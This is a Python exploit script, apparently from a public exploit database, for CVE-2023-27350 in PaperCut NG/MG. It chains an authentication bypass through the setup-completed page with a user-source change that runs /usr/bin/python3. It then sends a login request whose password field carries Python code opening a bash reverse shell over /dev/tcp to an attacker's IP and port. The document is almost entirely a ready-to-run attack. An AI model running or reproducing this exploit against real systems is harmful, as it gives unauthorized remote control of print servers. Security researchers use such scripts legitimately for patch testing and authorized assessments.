PaperCut NG/MG 22.0.4 - Remote Code Execution (RCE)

# Exploit Title: PaperCut NG/MG 22.0.4 - Remote Code Execution (RCE)
# Date: 13 May 2023
# Exploit Author: Mohin Paramasivam (Shad0wQu35t) and MaanVader
# Vendor Homepage: https://www.papercut.com/
# Version: 8.0 or later
# Tested on: 22.0.4
# CVE: CVE-2023-27350


import requests
import argparse

Group_payload = {
    "service":"direct/1/OptionsUserSync/$OptionsUserSource.$Form",
    "sp":"S0",
    "Form0":"$Hidden,$Hidden$0,$Hidden$1,$PropertySelection,$Hidden$2,$Hidden$3,$Hidden$4,$Hidden$5,$Hidden$6,$Hidden$7,$Hidden$8,$Hidden$9,$Hidden$10,$Hidden$11,$Hidden$12,$Hidden$13,$Hidden$14,$TextField,$TextField$0,$RadioGroup,$Submit,$Checkbox$2,primaryCardIdLength,$Checkbox$3,secondaryCardIdLength,$Checkbox$5,$Hidden$15,$Hidden$16,$Hidden$17,$Hidden$18,$Hidden$19,$Hidden$20,$Hidden$21,$PropertySelection$4,$TextField$13,$Checkbox$6,$TextField$14,$TextField$15,$TextField$16,$RadioGroup$0,$Submit$1,$PropertySelection$5,$TextField$17,$PropertySelection$6,$TextField$18,primaryCardId2Length,$PropertySelection$7,$TextField$19,secondaryCardId2Length,$Checkbox$7,$TextField$20,$Checkbox$8,$Checkbox$9,$Checkbox$10,$Submit$2,$Submit$3,$Submit$4,$Submit$5",
    "$Hidden":"Sf278fd737ffcaed6eb3d1f67c2ba5c6d",
    "$Hidden$0":"F",
    "$Hidden$1":"F",
    "$Hidden$2":"OH4sIAAAAAAAAAJWQwUrDQBCGp60VBBUp4lWRnncRPIjSg4iHwrYNpBU8xXW7JitJdp1sis2hF5_BlxBP-lw-gF50Y2Mp6MW5DTP_fP8_z2_QzBDotSqI4UaiyC0xIg1JJnGihCQDY5VOs5HrfZ2jkMOpkVeHny8bD8VeHVa6sBYYVBqVnTLYCnhuIw91iDzxuI0stNgtn3Aa8zSkvkWVhies1MTc3mhMLBwzR6c_dFrSaUWnf9LbXqV1h3aCfDFbwt7BDGr3CO3fwXKrYsK04LEq5Pg8zZPex26j87i-XQdwkn2NIeGGi0gSoZPE4Ulpnki3mpFS8N556r4eXBR1qDFoqj5P5BxoLKyejfzhoAcAYzNDOPrnZxfZoKrWt6nN8odzG6WB5aFjNk77l-YLeZfbs8sBAAA.",
    "$Hidden$3":"F",
    "$Hidden$4":"X",
    "$Hidden$5":"X",
    "$Hidden$6":"X",
    "$Hidden$7":"X",
    "$Hidden$8":"X",
    "$Hidden$9":"X",
    "$Hidden$10":"X",
    "$Hidden$11":"X",
    "$Hidden$12":"X",
    "$Hidden$13":"F",
    "$Hidden$14":"X",
    "$Hidden$15":"F",
    "$Hidden$16":"S",
    "$Hidden$17":"S",
    "$Hidden$18":"S",
    "$Hidden$19":"S",
    "$Hidden$20":"F",
    "$Hidden$21":"SSTANDARD_UNIX",
    "$PropertySelection":"3,CUSTOM",
    "$TextField":"/usr/bin/python3",
    "$TextField$0":"/usr/bin/python3",
    "$RadioGroup":"0",
    "primaryCardIdLength":"8",
    "secondaryCardIdLength":"8",
    "$PropertySelection$4":"0,STANDARD_UNIX",
    "$TextField$13":"",
    "$TextField$14":"",
    "$TextField$15":"",
    "$TextField$16":"",
    "$RadioGroup$0":"0",
    "$PropertySelection$5":"NONE",
    "$TextField$17":"",
    "$PropertySelection$6":"NONE",
    "$TextField$18":"employeeNumber",
    "primaryCardId2Length":"8",
    "$PropertySelection$7":"NONE",
    "$TextField$19":"",
    "secondaryCardId2Length":"8",
    "$TextField$20":"",
    "$Submit$4":"Apply"

}


parser = argparse.ArgumentParser(description="Papercut RCE")
parser.add_argument('--url',help='Url of the vunerable application example http://10.2.3.4:9191 dont need the trailing /')
parser.add_argument('--ip',help='our rev shell ip')
parser.add_argument('--port',help='our rev shell port')
args = parser.parse_args()

url = args.url
ip = args.ip
port = args.port

passwd_input = f"import os;os.system(\"/bin/bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'\")"

final_payload = {
    "service":"direct/1/Home/$Form$0",
    "sp":"S0",
    "Form0":"$Hidden$0,$Hidden$1,inputUsername,inputPassword,$PropertySelection$0,$Submit$0",
    "$Hidden$0":"true",
    "$Hidden$1":"X",
    "inputUsername":"help",
    "inputPassword":passwd_input,
    "$PropertySelection$0":"en",
    "$Submit$0":"Log+in"
}

# create a session
session = requests.Session()

# visit the first URL to set up the session
setup_url = url+"/app?service=page/SetupCompleted"
response = session.get(setup_url)
response.raise_for_status()  # check for any errors

# visit the second URL using the same session
dashboard_url = url+"/app?service=page/Dashboard"
response = session.get(dashboard_url)
response.raise_for_status()  # check for any errors

# URL to change user group
user_group_change_url = url+"/app"
response = session.post(user_group_change_url,data=Group_payload)
response.raise_for_status() # check for errors

# URL to gain RCE
rce_url = url+"/app"
response = session.post(rce_url,data=final_payload)
response.raise_for_status() # Check for any errors


# print the response text
print(response.text)